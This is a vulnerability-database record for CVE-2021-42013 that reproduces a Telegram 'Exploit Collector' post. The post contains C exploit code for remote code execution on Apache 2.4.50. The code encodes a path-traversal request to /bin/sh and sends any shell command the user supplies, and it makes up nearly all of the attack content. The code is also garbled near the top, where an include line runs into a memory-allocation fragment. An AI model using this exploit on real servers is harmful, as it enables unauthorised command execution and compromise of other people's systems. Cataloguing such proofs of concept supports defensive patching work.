{"uuid": "d0b0b1fb-4996-44c9-8893-7250b78fa3ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-42013", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/56323", "content": "Exploit Collector\nApache 2.4.50 Remote Code Execution\n\nhttps://1.bp.blogspot.com/-CxGUMLkxSaY/WWlvcQOBNxI/AAAAAAAAIPc/zOKm_r-QYksdaJn5z44Zj2ZlNH1F7PBGQCLcBGAs/s1600/h75.png \nApache version 2.4.50 remote code execution exploit that leverages a traversal as identified in CVE-2021-42013. Written in C.\n\nSHA-256 | 64d8677bc7be110891aa555bf10e259d5602cd7d458c4a59da80719f277ba28b\n\nDownload\n#include data, memory->size+nmemb+1);\nmemory->data = ptr;\nmemcpy(&(memory->data[memory->size]), pointer, nmemb);\nmemory->size += nmemb;\nmemory->data[memory->size] = 0;\nreturn nmemb;\n}\n\nbool exploit(void* result, char* host, char* exec)\n{\nCURL *curl = curl_easy_init();\nchar url[256];\nsprintf(url, \"%s/cgi-bin/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/bin/sh\", host);\ncurl_easy_setopt(curl, CURLOPT_URL, url);\nchar payload[256];\nsprintf(payload, \"echo Content-Type: text/plain; echo; %s\", exec);\ncurl_easy_setopt(curl, CURLOPT_POSTFIELDS, payload);\ncurl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, callback);\ncurl_easy_setopt(curl, CURLOPT_WRITEDATA, result);\nint res = curl_easy_perform(curl);\nif (res != CURLE_OK)\nreturn error(curl_easy_strerror(res));\ncurl_easy_cleanup(curl);\nreturn true;\n}\n\nint main(int argc, char* argv[])\n{\nif (argc != 3)\nreturn usage(argv[0]);\nstruct callback_result result = {0};\nbool res = exploit(&result, argv[1], argv[2]);\nif (res)\nprintf(\"[+] Exploit finished successfully, check output\\n\");\nelse\nprintf(\"[-] Exploit failed, check output\\n\");\nprintf(\" \\n%s\\n\", result.data);\nreturn 0;\n}\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-05T17:00:04.775929Z"}